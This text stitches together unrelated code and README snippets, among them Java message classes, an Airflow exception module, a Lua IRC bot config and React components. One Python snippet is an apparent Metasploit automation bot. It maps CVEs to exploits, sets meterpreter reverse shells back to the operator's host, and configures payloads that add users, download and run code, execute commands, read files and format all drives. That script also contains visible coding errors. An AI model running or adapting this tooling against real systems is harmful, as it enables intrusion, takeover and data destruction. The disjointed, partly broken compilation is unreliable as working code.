		public MasterInfo getMasterInfo() {
			return masterInfo;
		}

		public void setMasterInfo(MasterInfo masterInfo) {
			this.masterInfo = masterInfo;
		}

		@Override
		public String toString() {
			return String.format("masterInfo: %s", masterInfo);
		}
	}

	public static class PrimaryDcChangeMessage extends ErrorMessage<PRIMARY_DC_CHANGE_RESULT>{

		private String newMasterIp;

		private int newMasterPort;

		public PrimaryDcChangeMessage(){}

		public PrimaryDcChangeMessage(PRIMARY_DC_CHANGE_RESULT errorType, String errorMessage) {
			super(errorType, errorMessage);
		}

		public PrimaryDcChangeMessage(String message, String newMasterIp, int newMasterPort){
			super(PRIMARY_DC_CHANGE_RESULT.SUCCESS, message);
			this.newMasterIp = newMasterIp;
			this.newMasterPort = newMasterPort;
		}

		public PrimaryDcChangeMessage(PRIMARY_DC_CHANGE_RESULT errorType) {
			super(errorType, null);
		}

		public String getNewMasterIp() {
			return newMasterIp;
		}

		public int getNewMasterPort() {
			return newMasterPort;
		}

		public boolean isSuccess() {
			return PRIMARY_DC_CHANGE_RESULT.SUCCESS.equals(getErrorType());
		}

		@Override
		public String toString() {

			if(getErrorType() == PRIMARY_DC_CHANGE_RESULT.SUCCESS){
				return String.format("code:%s, newmaster:%s:%d, message:%s", getErrorType(), newMasterIp, newMasterPort, getErrorMessage());
			}
			return super.toString();
		}
	}
}


text:
When we finished our work and decide to release our project, how can we tell others that we finished? Luckily, like npm, every time we publish our project, it can refresh the rank.

We can also create pull request to many other `Awesome` projects.

e.g.

1. [sindresorhus/awesome](https://github.com/sindresorhus/awesome).
2. [xgrommx/awesome-redux](https://github.com/sindresorhus/awesome). (for redux.)
3. [jondot/awesome-react-native](https://github.com/jondot/awesome-react-native). (for react-native.)
4. ...


text:
CKEDITOR.plugins.setLang( 'find', 'fr-ca', {
	find: 'Chercher',
	findOptions: 'Find Options',
	findWhat: 'Rechercher:',
	matchCase: 'Respecter la casse',
	matchCyclic: 'Match cyclic',
	matchWord: 'Mot entier',
	notFoundMsg: 'Le texte indiqué est introuvable.',
	replace: 'Remplacer',
	replaceAll: 'Tout remplacer',
	replaceSuccessMsg: '%1 occurrence(s) replaced.',
	replaceWith: 'Remplacer par:',
	title: 'Chercher et Remplacer'
});


text:
package com.scavi.brainsqueeze.adventofcode.y2017;

import com.scavi.brainsqueeze.adventofcode.util.Direction;
import com.scavi.brainsqueeze.util.Pair;

import javax.annotation.Nonnull;

public class Day19ASeriesOfTubes {
    private final char BLANK = ' ';

    public String solveA(@Nonnull final char[][] puzzle) {
        return solve(puzzle).getKey();
    }

    public long solveB(@Nonnull final char[][] puzzle) {
        return solve(puzzle).getValue();
    }

    private Pair<String, Long> solve(@Nonnull final char[][] puzzle) {
        StringBuilder path = new StringBuilder();
        int x = 0;
        int y = 0;
        for (int i = 0; i < puzzle.length; ++i) {
            if (puzzle[0][i] == '|') {
                x = i;
                break;
            }
        }
        boolean isAtEnd = false;
        long steps = 0;
        Direction direction = Direction.Unknown;
        while (!isAtEnd) {
            int mX = 0;
            int mY = 0;
            if (puzzle[y][x] == BLANK) {
                isAtEnd = true;
            } else if (direction != Direction.East && x > 0 && puzzle[y][x - 1] != BLANK) {
                mX = -1;
                direction = Direction.West;
            } else if (direction != Direction.West && x < puzzle[0].length - 1 && puzzle[y][x + 1] != BLANK) {
                mX = 1;
                direction = Direction.East;
            } else if (direction != Direction.South && y > 0 && puzzle[y - 1][x] != BLANK) {
                mY = -1;
                direction = Direction.North;
            } else if (direction != Direction.North && y < puzzle.length - 1 && puzzle[y + 1][x] != BLANK) {
                mY = 1;
                direction = Direction.South;
            } else {
                throw new IllegalArgumentException("The developer screwed up!");
            }
            if (!isAtEnd) {
                char cell;
                do {
                    x += mX;
                    y += mY;
                    steps++;
                    cell = puzzle[y][x];
                    if (cell >= 65 && cell <= 90) {
                        path.append(cell);
                    }
                } while (cell != '+' && cell != BLANK);
            }
        }
        return new Pair<>(path.toString(), steps);
    }
}


text:
package genetic.genetic.fitnessMapping;

import genetic.genetic.Metric;
import genetic.genetic.types.Gene;
import genetic.genetic.types.Population;

public class ExponentialScaling implements FitnessMapping {
    @Override
    public <A> double mapFitness(Metric<A> metric, Population<A> population, Gene<A> gene) {
        return 1 - Math.sqrt(1 - gene.fitness);
    }
}


text:
class AirflowException(Exception):
    """
    Base class for all Airflow's errors.
    Each custom exception should be derived from this class
    """
    status_code = 500

class AirflowBadRequest(AirflowException):
    """Raise when the application or server cannot handle the request"""
    status_code = 400

class AirflowNotFoundException(AirflowException):
    """Raise when the requested object/resource is not available in the system"""
    status_code = 404

class AirflowConfigException(AirflowException):
    pass

class AirflowSensorTimeout(AirflowException):
    pass

class AirflowRescheduleException(AirflowException):
    """
    Raise when the task should be re-scheduled at a later time.

    :param reschedule_date: The date when the task should be rescheduled
    :type reschedule: datetime
    """
    def __init__(self, reschedule_date):
        self.reschedule_date = reschedule_date

class AirflowTaskTimeout(AirflowException):
    pass

class AirflowWebServerTimeout(AirflowException):
    pass

class AirflowSkipException(AirflowException):
    pass

class AirflowDagCycleException(AirflowException):
    pass

class DagNotFound(AirflowNotFoundException):
    """Raise when a DAG is not available in the system"""
    pass

class DagRunNotFound(AirflowNotFoundException):
    """Raise when a DAG Run is not available in the system"""
    pass

class DagRunAlreadyExists(AirflowBadRequest):
    """Raise when creating a DAG run for DAG which already has DAG run entry"""
    pass

class DagFileExists(AirflowBadRequest):
    """Raise when a DAG ID is still in DagBag i.e., DAG file is in DAG folder"""
    pass

class TaskNotFound(AirflowNotFoundException):
    """Raise when a Task is not available in the system"""
    pass

class TaskInstanceNotFound(AirflowNotFoundException):
    """Raise when a Task Instance is not available in the system"""
    pass

class PoolNotFound(AirflowNotFoundException):
    """Raise when a Pool is not available in the system"""
    pass


text:
@interface GLVerticalScrollElement : GLElement
{
    double speed;
    double touchStartTime;
    double delay;
    double distY;
    CGPoint touchStartPoint;
    int heightOfContent;
    SwipeGestureRecognizer *verticalSwipeRecognizer;
}

@property (nonatomic) int heightOfContent;
-(void)moveToVisibleRect:(GLElement *)element;

@end


text:
from time import sleep
import socket
import sys
from time import sleep
import re
sys.path.append('./')
import clients.metasploit

def strip_whitespaces(str):
    return ' '.join(str.split(''))

def host_table(client):
    hosts = []
    response = str(client.console_execute('hosts -c address,mac,os_name,os_flavor')) # TODO add more ?
    while not 'Hosts' in response:
        sleep(10)
        response = client.console_read()
    response.split('\n')
    for row in response:
        row = strip_whitespaces(row)
        row = row.split(' ')
        hosts.append({'ip': row[0], 'mac': row[1], 'os_name': row[2], 'os_flavor': row[3]}) # ip address, mac address
    return hosts

class Target(object):
    def __init__(self, client, ip, mac):
        self.client = client
        self.ip = ip
        self.mac = mac
        self.services = []
        self.vulns = []
        self.exploits = []
        self.report = ''

    def add_services(self):
        """
        Add all services a host has
        """
        # first get the names
        names = str(self.client.console_execute('services -c name {0}\n'.format(self.ip))[b'data'])
        while not 'name' in names:
            sleep(10)
            names = self.client.console_read()
        names = names.split('\n')
        for row in names:
            if self.ip in row:
                row = strip_whitespaces(row)
                self.services.append({'name': row.split(' ')[1]})

        # get the ports by service name
        ports = str(self.client.console_execute('services -c port {0}\n'.format(self.ip))[b'data'])
        while not 'port' in ports:
            sleep(10)
            ports = self.client.console_read()
        ports = ports.split('\n')
        for row in ports:
            for service in self.services:
                if service['name'] in row:
                    row = strip_whitespaces(row)
                    service['port'] = row.split(' ')[1]

        # get some information by service name (only useful if a report shall be generated)
        info = str(self.client.console_execute('services -c info {0}\n'.format(self.ip))[b'data'])
        while not 'info' in info:
            sleep(10)
            info = self.client.console_read()
        info = info.split('\n')
        for row in info:
            for service in self.services:
                if service['name'] in row:
                    row = strip_whitespaces(row)
                    service['info'] = row.split(' ')[1]

    def add_vulns(self):
        """
        Add all vulnerabilites that were found.
        """
        vulns = str(self.client.console_execute('vulns \n')[b'data'])
        while not 'Time' in vulns:
            sleep(10)
            vulns = self.client.console_read()
        vulns = vulns.split('\n')
        for vuln in vulns:
            if self.ip in vuln:
                name = re.findall(r'name=[a-zA-Z0-9-]*', vuln)
                name = name.split('=')[1]

                refs = re.findall(r'refs=[a-zA-Z0-9-,]*', vuln)
                refs = refs.split('=')[1]
                refs = refs.split(',')

                self.vulns.append({'name': name, 'refs': refs})

    def resolve_vulns(self):
        """
        Search exploits for the vulnerabilites found.
        """
        for vuln in self.vulns:
            for ref in vuln.refs:
                if 'cve' in str.lower(ref):
                    results = str(self.client.console_execute('search cve:{0}\n'.format(ref))[b'data'])
                    while not 'Modules' in results:
                        sleep(10)
                        results = self.client.console_read()
                    results = results.split('\n')
                    for line in results:
                        if 'exploit' in line:
                            self.exploits.append(line.split(' ')[0])

    def gen_report(self):
        """
        Generate a human readable report of all information that we have. (markdown)
        """
        self.report = '#Report for {0}\n'.format(self.ip)
        self.report += 'This report was generated by the chameleon pentest bot. We cannot grant 100% accurate results.\n'
        self.report += '###Services:\n'
        for service in self.services:
            self.report += '#####{0}:\n- Port: {1}\n- Info:{2}'.format(service.name, service.port, service.info)
        self.report += '###Vulnerabilities:\n'
        for vuln in self.vulns:
            self.report += '- {0}\n'.format(vuln.name)
        self.report += 'Open an issue for wrong results at github.com/coretool/chameleon.'

def select_exploit(client, exploit):
    client.console_execute('use {0}\n'.format(exploit))

def select_target(client, ip):
    client.console_execute('host -S {0} -R\n'.format(ip))

def get_payloads(client):
    result = str(client.console_execute('show payloads\n')[b'data'])
    if 'compatible payloads' not in str.lower(result):
        result = client.console_read()
        while 'compatible payloads' not in result:
            sleep(10)
            result = client.console_read()
    result = result.split('\n')
    payloads = {}
    for payload in result:
        if 'meterpreter' and 'reverse' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['mr'] = payload  # meterpreter reverse shell
        if 'meterpreter' and 'bind' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['mb'] = payload  # meterpreter bind shell
        """
        elif 'shell' and 'reverse' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            pyloads.append({'name': 'sr', 'payload': payload}) # reverse shell
        elif 'shell' and 'bind' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payload.append({'name', 'sb', 'payload': payload}) # bind shell
        """
        if 'adduser' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['au'] = payload  # add user

        if 'chmod' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['cm'] = payload  # chmod

        if 'download_exec' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['de'] = payload  # download and execute payload

        if 'exec' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['ec'] = payload  # exec

        if 'format_all_drives' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['fad'] = payload  # fromat all drives

        if 'messagebox' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['mb'] = payload  # messagebox

        if 'readfile' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['rf'] = payload  # read file

        if 'speak' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['sp'] = payload  # speak

        if 'say' in payload:
            payload = ' '.join(payload.split())
            payload = payload.split(' ')[0]
            payloads['sy'] = payload  # say

    return payloads

def setup_reverse(client, payload):
    lhost = socket.gethostbyname(socket.gethostname())
    lport = 3715
    client.console_execute('set PAYLOAD {0}\n'.format(payload))
    client.console_execute('set LHOST {0}\n'.format(lhost))
    client.console_execute('set LPORT {0}\n'.format(lport))

def setup_bind(client, payload):
    client.console_execute('set PAYLOAD {0}\n'.format(payload))

def run_meterpreter(client):
    response = str(client.console_execute('run\n')[b'data'])
    while 'session' not in response:
        sleep(10)
        response = client.console_read()

    if not 'opened' in response:
        return False

    response = response.split('\n')
    for row in response:
        if 'Meterpreter session' in row:
            row = row.split(' ')
            return row[2] # session id

def back(client):
    client.console_execute('back\n')

# single payloads

def adduser(client, user, password, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['au']))
    client.console_execute('set USER {0}\n'.format(user))
    client.console_execute('set PASS {0}\n'.format(password))

def chmod(client, file, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['cm']))
    client.console_execute('set FILE {0}\n'.format(file))

def dl_exec(client, url, name, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['de']))
    client.console_execute('set URL {0}\n'.format(url))
    client.console_execute('set EXE {0}\n'.format(name))

def exec(client, command, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['ec']))
    client.console_execute('set CMD {0}\n'.format(command))

def format_all_drives(client, label, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['fad']))
    client.console_execute('set VOLUMELABEL {0}\n'.format(label))

def messagebox(client, payloads, title, text, icon='ERROR'):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['mb']))
    client.console_execute('set TITLE {0}\n'.format(title))
    client.console_execute('set TEXT {0}\n'.format(text))
    client.console_execute('set ICON {0}\n'.format(icon))

def readfile(client, file, out, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['rf']))
    client.console_execute('set PATH {0}\n'.format(file))
    client.console_execute('set FD {0}\n'.format(out))

def speak(client, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['sp']))

def say(client, text, payloads):
    client.console_execute('set PAYLOAD {0}\n'.format(payloads['sy']))
    client.console_execute('set TEXT {0}\n'.format(text))

def run_single(client):
    client.console_execute('exploits')

# session management

class Session(object):
    def __init__(self, sid, client):
        self.id = sid
        self.client = client

    def read(self):
        return str(self.client.call('session.meterpreter_read', self.id)[b'data'])

    def write(self, text):
        self.client.call('session.meterpreter_write', self.id, text)

    def stop(self):
        self.client.call('session.stop', self.id)


text:
<template name="ihPostCategories">

  {{#each categoriesArray}}
    {{name}}
  {{/each}}
</template>


text:
// Copyright 2009 the Sputnik authors.  All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.

/**
 * @name: S10.1.8_A5_T4;
 * @section: 10.1.8;
 * @assertion: A property is created with name length with property
 * attributes { DontEnum } and no others;
 * @description: Overriding arguments.length property;
*/

var str = "something different";
//CHECK#1
function f1(){
  arguments.length = str;
  return arguments;
}

try{
  if(f1().length !== str){
    $ERROR("#1: A property length have attribute { ReadOnly }");
  }
}
catch(e){
  $ERROR("#1: arguments object don't exists");
}

//CHECK#2
var f2 = function(){
    arguments.length = str;
    return arguments;
  }
try{
  if(f2().length !== str){
    $ERROR("#2: A property length have attribute { ReadOnly }");
  }
}
catch(e){
  $ERROR("#2: arguments object don't exists");
}


text:
ESLint shareable config for the JsFile style guide

## Install

```
$ npm install --save-dev eslint eslint-config-strict eslint-plugin-filenames eslint-config-jsfile
```

## Usage

Add some ESLint config to your `.eslintrc`:

```json
{
  "extends": [
    "jsfile"
  ]
}
```

## License

MIT


text:
// Copyright (c) Microsoft.  All Rights Reserved.  Licensed under the Apache License, Version 2.0.  See License.txt in the project root for license information.

using System;

namespace Microsoft.CodeAnalysis.ExtractMethod
{
    internal partial class SelectionValidator
    {
        // null object
        protected class NullSelectionResult : SelectionResult
        {
            public NullSelectionResult()
                : this(OperationStatus.FailedWithUnknownReason)
            {
            }

            protected NullSelectionResult(OperationStatus status)
                : base(status)
            {
            }

            protected override bool UnderAsyncAnonymousMethod(SyntaxToken token, SyntaxToken firstToken, SyntaxToken lastToken)
            {
                throw new InvalidOperationException();
            }

            public override bool ContainingScopeHasAsyncKeyword()
            {
                throw new InvalidOperationException();
            }

            public override SyntaxNode GetContainingScope()
            {
                throw new InvalidOperationException();
            }

            public override ITypeSymbol GetContainingScopeType()
            {
                throw new InvalidOperationException();
            }
        }

        protected class ErrorSelectionResult : NullSelectionResult
        {
            public ErrorSelectionResult(OperationStatus status)
                : base(status.MakeFail())
            {
            }
        }
    }
}


text:
#include <aws/route53resolver/model/GetResolverQueryLogConfigAssociationRequest.h>
#include <aws/core/utils/json/JsonSerializer.h>

#include <utility>

using namespace Aws::Route53Resolver::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;

GetResolverQueryLogConfigAssociationRequest::GetResolverQueryLogConfigAssociationRequest() :
    m_resolverQueryLogConfigAssociationIdHasBeenSet(false)
{
}

Aws::String GetResolverQueryLogConfigAssociationRequest::SerializePayload() const
{
  JsonValue payload;

  if(m_resolverQueryLogConfigAssociationIdHasBeenSet)
  {
   payload.WithString("ResolverQueryLogConfigAssociationId", m_resolverQueryLogConfigAssociationId);

  }

  return payload.View().WriteReadable();
}

Aws::Http::HeaderValueCollection GetResolverQueryLogConfigAssociationRequest::GetRequestSpecificHeaders() const
{
  Aws::Http::HeaderValueCollection headers;
  headers.insert(Aws::Http::HeaderValuePair("X-Amz-Target", "Route53Resolver.GetResolverQueryLogConfigAssociation"));
  return headers;

}


text:
// Copyright (c) Weihan Li. All rights reserved.
// Licensed under the MIT license.

namespace SparkTodo.API.Controllers;

[Authorize]
[ApiVersion("1")]
[ApiController]
[Route("api/v{version:apiVersion}/[controller]")]
public class CategoryController : ControllerBase
{
    private readonly ICategoryRepository _categoryRepository;
    private readonly ITodoItemRepository _todoItemRepository;

    /// <summary>
    /// CategoryController .ctor
    /// </summary>
    /// <param name="categoryRepository">categoryRepository</param>
    /// <param name="todoItemRepository">todoItemRepository</param>
    public CategoryController(ICategoryRepository categoryRepository, ITodoItemRepository todoItemRepository)
    {
        _categoryRepository = categoryRepository;
        _todoItemRepository = todoItemRepository;
    }

    [HttpGet("{categoryId}/todo")]
    public async Task<IActionResult> Get(int categoryId)
    {
        if (categoryId <= 0)
        {
            return BadRequest();
        }
        var list = await _todoItemRepository.SelectAsync(t => t.CategoryId == categoryId && t.IsDeleted == false);
        return Ok(list.OrderByDescending(_ => _.CreatedTime));
    }

    /// <summary>
    /// get all categories
    /// </summary>
    /// <returns></returns>
    [HttpGet]
    public async Task<IActionResult> GetAll()
    {
        var userId = User.GetUserId();
        var list = await _categoryRepository.SelectAsync(ca => ca.UserId == userId && !ca.IsDeleted);
        return Ok(list.OrderBy(t => t.CreatedTime));
    }

    /// <summary>
    /// Update CategoryInfo
    /// </summary>
    /// <param name="category">category info</param>
    /// <returns></returns>
    [HttpPut]
    public async Task<IActionResult> Put([FromBody] Category category)
    {
        if (category.UserId <= 0 || category.CategoryId <= 0 || string.IsNullOrEmpty(category.CategoryName))
        {
            return BadRequest();
        }
        if (!await _categoryRepository.ExistAsync(_ => _.CategoryId == category.CategoryId))
        {
            return NotFound();
        }
        category.UserId = User.GetUserId();
        category.IsDeleted = false;
        category.UpdatedTime = DateTime.UtcNow;
        var item = await _categoryRepository.UpdateAsync(category, c => c.CreatedTime, c => c.UpdatedTime);
        return Ok(item);
    }

    /// <summary>
    /// create category
    /// </summary>
    /// <param name="category">category info</param>
    /// <returns></returns>
    [HttpPost]
    public async Task<IActionResult> Post([FromBody] Category category)
    {
        category.UserId = User.GetUserId();
        if (category.UserId <= 0 || string.IsNullOrEmpty(category.CategoryName))
        {
            return BadRequest();
        }

        category.IsDeleted = false;
        category.UpdatedTime = DateTime.UtcNow;
        category.CreatedTime = DateTime.UtcNow;

        await _categoryRepository.InsertAsync(category);
        return Ok(category);
    }

    /// <summary>
    /// delete category
    /// </summary>
    /// <param name="categoryId">categoryId</param>
    /// <returns></returns>
    [HttpDelete("{categoryId}")]
    public async Task<IActionResult> Delete(int categoryId)
    {
        if (categoryId <= 0)
        {
            return BadRequest();
        }
        var userId = User.GetUserId();
        if (!await _categoryRepository.ExistAsync(_ => _.CategoryId == categoryId && _.UserId == userId))
        {
            return NotFound();
        }
        var category = new Category()
        {
            CategoryId = categoryId,
            IsDeleted = true
        };
        var result = await _categoryRepository.UpdateAsync(category, t => t.IsDeleted);
        if (result > 0)
        {
            await _todoItemRepository.UpdateAsync((x) => x.SetProperty(_ => _.CategoryId, _ => -1), _ => _.WithPredict(t => t.CategoryId == categoryId));
            return Ok();
        }

        return new StatusCodeResult(StatusCodes.Status501NotImplemented);
    }
}


text:
import React, {Component, PropTypes} from 'react';
import {connect} from 'react-redux';
import reduxForm from 'redux-form';
import surveyValidation from '../validation/surveyValidation';

@connect(state => ({
  form: state.survey
}))
@reduxForm('survey', surveyValidation)
export default
class Survey extends Component {
  static propTypes = {
    data: PropTypes.object.isRequired,
    dirty: PropTypes.bool.isRequired,
    errors: PropTypes.object.isRequired,
    handleBlur: PropTypes.func.isRequired,
    handleChange: PropTypes.func.isRequired,
    initializeForm: PropTypes.func.isRequired,
    invalid: PropTypes.bool.isRequired,
    pristine: PropTypes.bool.isRequired,
    touch: PropTypes.func.isRequired,
    touched: PropTypes.object.isRequired,
    touchAll: PropTypes.func.isRequired,
    untouch: PropTypes.func.isRequired,
    untouchAll: PropTypes.func.isRequired,
    resetForm: PropTypes.func.isRequired,
    valid: PropTypes.bool.isRequired
  }

  handleSubmit(event) {
    event.preventDefault();
    const {data, touchAll, resetForm, valid} = this.props;
    if (valid) {
      window.alert('Data submitted! ' + JSON.stringify(data));
      resetForm();
    } else {
      touchAll();
      window.alert('Form is invalid!');
    }
  }

  handleInitialize() {
    const {initializeForm} = this.props;
    initializeForm({name: 'Little Bobby Tables', email: 'bobby@gmail.com', occupation: 'Redux Wizard'});
  }

  render() {
    const {
      data: {name, email, occupation},
      errors: {name: nameError, email: emailError, occupation: occupationError},
      touched: {name: nameTouched, email: emailTouched, occupation: occupationTouched},
      handleBlur,
      handleChange,
      valid,
      invalid,
      pristine,
      dirty
      } = this.props;
    return (

Survey

          This is an example of a form in redux in which all the state is kept within the redux store.
          All the components are pure "dumb" components.

          Things to notice:

No validation errors are shown initially.

Validation errors are only shown onBlur

Validation errors are hidden onChange when the error is rectified

valid, invalid, pristine and dirty flags
            are passed with each change

Except when you submit the form, in which case they are shown for all invalid fields.

If you click the Initialize Form button, the form will be prepopupated with some values and
            the pristine and dirty flags will be based on those values.

          <button className="btn btn-primary" onClick={::this.handleInitialize}>Initialize Form</button>

        <form className="form-horizontal" onSubmit={::this.handleSubmit}>

            Full Name

              <input type="text"
                     className="form-control"
                     id="name"
                     value={name}
                     onChange={handleChange('name')}
                     onBlur={handleBlur('name')}/>
              {nameError && nameTouched &&
{nameError}
}

            Email address

              <input type="email"
                     className="form-control"
                     id="email"
                     value={email}
                     onChange={handleChange('email')}
                     onBlur={handleBlur('email')}/>
              {emailError && emailTouched &&
{emailError}
}

            Occupation

              <input type="text"
                     className="form-control"
                     id="occupation"
                     value={occupation}
                     onChange={handleChange('occupation')}
                     onBlur={handleBlur('occupation')}/>
              {occupationError && occupationTouched &&
{occupationError}
}

              <button className="btn btn-success" onClick={::this.handleSubmit}>
                 Submit
              </button>

        </form>

          Pardon the use of window.alert(), but I wanted to keep this component stateless.

Props from redux-form

            Dirty
            {dirty ? 'true' : 'false'}

            Pristine
            {pristine ? 'true' : 'false'}

            Valid
            {valid ? 'true' : 'false'}

            Invalid
            {invalid ? 'true' : 'false'}

    );
  }
}


text:
define(function(require){
  var GameObject = require('./gameObject');
  var PhysicsState = require('../physicsState');
  var Player = require('./player');
  var Solid = function(parent, frame, damageVelocityThreshold, damageVelocityMultiplier){
    GameObject.call(this, parent, frame);

    this.physics = new PhysicsState(this);
    this.damageVelocityThreshold = damageVelocityThreshold;
    this.damageVelocityMultiplier = damageVelocityMultiplier;
  };

  Solid.prototype = Object.create(GameObject.prototype);
  Solid.prototype.constructor = Solid;
  Solid.prototype.super = GameObject.prototype;

  Solid.prototype.handleEnterCollision = function(collision){
    if (collision.collider instanceof Player && collision.collider.physics.velocity.y > this.damageVelocityThreshold)
      collision.collider.dealDamage(Math.round(Math.pow(collision.collider.physics.velocity.y - this.damageVelocityThreshold / 2, 2) * this.damageVelocityMultiplier * this.damageVelocityMultiplier));
  };

  Solid.prototype.handleCollision = function(collision){
    if (Math.abs(collision.collisionVector.x) < Math.abs(collision.collisionVector.y))
    {
      collision.collider.frame.x += collision.collisionVector.x;
      collision.collider.physics.velocity.x = 0;
    }
    else
    {
      collision.collider.frame.y += collision.collisionVector.y;
      collision.collider.physics.velocity.y = 0;
    }
  };
  return Solid;
});


text:
permissions = {}
--insert host into permissions here
--example: permissions["Powder/Developer/cracker64"] = 101
--Owner should be 101, trusted global ops can be 100
--Set to -2 to ignore host
--Remember to escape .'s and other lua pattern special characters with %

--insert per channel permissions here (channel specific ops)
channelPermissions = {
	--[[["##mychannel"] = {
		["Powder/Developer/jacob1"] = 50,
	},
	--Give everyone a permission level of -1 by default
	["##quietchannel"] = {
		["@default"] = -1,
	},]]
}

--to override the default permission level of a command, insert it here
commandPermissions = {
	--["mycommand"] = 10,
}
--to override the default permission level of a command only in one channel, insert it here
channelCommandPermissions = {
	--[[["##mychannel"] = {
		["mycommand"] = 0,
	},]]
}

-- Do not edit these functions. Go to the end of the file to configure the network settings

--Get perm value for part of a hostmask (usually just host)
function getPerms(host,chan)
	local perms, chanPerms = -1/0, nil
	for k,v in pairs(permissions) do
		if host:match("^"..k.."$") then
			if v < 0 then
				perms = -1
				break
			elseif v > perms then
				perms = v
			end
		end
	end
	if chan and channelPermissions[chan] then
		for k,v in pairs(channelPermissions[chan]) do
			if host:match("^"..k.."$") then
				if v < 0 then
					return -1
				elseif v > (chanPerms or -1/0) then
					chanPerms = math.min(v, 99)
				end
			end
		end
	end
	if perms < -2 then perms=0 end
	if chanPerms and chanPerms < -2 then chanPerms=0 end
	if not chanPerms and channelPermissions[chan] and channelPermissions[chan]["@default"] then
		if perms == 0 then return channelPermissions[chan]["@default"] end
		return math.max(channelPermissions[chan]["@default"], perms)
	end
	return chanPerms or perms
end

function getCommandPerms(cmd,chan)
	if not commands[cmd] then return 101 end --if this command doesn't exist, default to 101
	local defaultlvl = commands[cmd].level
	if defaultlvl >= 100 then return defaultlvl end
	if chan and channelCommandPermissions[chan] then
		return channelCommandPermissions[chan][cmd] or defaultlvl
	end
	return defaultlvl
end

--This has server specific data
local config = {
	--Network to connect to, change to whatever network you use
	network = {
		server = "irc.freenode.net",
		port = 6697,
		--password = "",
		ssl = true,
		timeout = 30,
	},
	--User info, set these to whatever you need
	user = {
		nick = "FakeCrackbot",
		username = "Meow",
		realname = "moo",

		--account = "Crackbot",
		--password = "password"
	},
	--Owner info, only used now for terminal input
	owner = {
		nick = "jacob1",
		host = "Powder/Developer/jacob1",
		fullhost = "jacob1!~jacob1@Powder/Developer/jacob1"
	},
	--Channels to join on start
	autojoin = {
		--"##mychannel",
	},
	--only used in a small handful of places
	primarychannel = "##mychannel",
	--logs all commands done in pm, and added aliases
	logchannel = "##logchannel",

	prefix = "%./",
	suffix = "moo+",

	--turns on terminal input, can be used on linux to input commands directly from a second terminal
	--terminal = "gnome-terminal -x",
	--terminalinput = true
}

return config


text:
import * as actionTypes from '../actions/actionType';

const initialState = {
  isLogged: false,
  user: {},
};

/**
* Reducer for authentication-related actions.
* @param {Object} state The old state of the application
* @param {Object} action The dispatched action
* @returns {Object} The new application state
*/
export default (state = initialState, action) => {
  switch (action.type) {
    case actionTypes.SET_CURRENT_USER:
      return {
        isLogged: true,
        user: action.loggedInUser,
      };
    case actionTypes.LOGOUT:
      return { ...state, isLogged: false };
    default:
      return state;
  }
};


text:
package es.caib.sgtsic.error.bitel;

import java.sql.SQLException;

import java.util.HashMap;

/**
 * La clase ErrorBaseDatosSelect representa un error producido por un SELECT de un elemento en base de datos.
 * $Id: ErrorBaseDatosSelect.java,v 1.3 2007/02/08 13:02:31 fros Exp $
 *
 * @author Miguel Angel Nieto
 * @author Paco Ros
 * @author Felipe Benavente
 * @date 05/01/2007
 * @version 3.0
 */
public class ErrorBaseDatosSelect extends ErrorBaseDatos
{

  /**
   * Constructor de la clase BitError.
   * @param nombreElemento    Nombre del elemento afectado.
   * @param id     C�digo del elemento.
   * @param sql    Sentencia sql.
   * @param sqle    Excepci�n/error asociado al error.
   */
  public ErrorBaseDatosSelect(String nombreElemento, int id, String sql, SQLException sqle)
  {
    this(nombreElemento, String.valueOf(id), sql, sqle);
  }

  /**
   * Constructor de la clase BitError.
   * @param nombreElemento    Nombre del elemento afectado.
   * @param id     C�digo del elemento.
   * @param sql    Sentencia sql.
   * @param sqle    Excepci�n/error asociado al error.
   */
  public ErrorBaseDatosSelect(String nombreElemento, String id, String sql, SQLException sqle)
  {
    // Creamos el error con el c�digo del error y la excepci�n asociada
    super("BIT_BD_SELECT", sqle);

    // Definimos la descripci�n del error
    HashMap descripcion = new HashMap();
    descripcion.put(BitError.IDIOMA_ESPANYOL, "Error al consultar los datos de " + nombreElemento + " con el c�digo " + id + ".");
    descripcion.put(BitError.IDIOMA_CATALAN , "Error al consultar les dades de " + nombreElemento + " amb el codi " + id + ".");
    this.setDescripcion(descripcion);

    // Definimos el debug del error
    this.setDebug((String)descripcion.get(BitError.IDIOMA_ESPANYOL)
                  + "\nID: " + id
                  + "\nSQL: " + sql);
  }

}


text:
*frame_screens.js* is a simple script that is designed to generate preview images for Arrival Advisor. Use the command `node frame_screens.js` to run the program.

## Prerequisite

Please make sure that `fastlane` is installed on your machine before running the script. Refer to this doc for the installation instruction: [https://docs.fastlane.tools/](https://docs.fastlane.tools/)

## Configuration

The script reads a `config.json`  that contains information on how the preview images will be generated. The json file is defined with the following attributes:

|key| description |
|--|--|
| background | The background that should be used for the framed screenshot. Specify the (relative) path to the image file (e.g. `*.jpg`). This parameter is mandatory.  |
| color | The font color for the text. Specify a hex/html color code.  |
| font_size | The font size for the text specified in points. If not specified or `0`, font will be scaled automatically to fit the available space. _frameit_ still shrinks the text, if it would not fit.  |
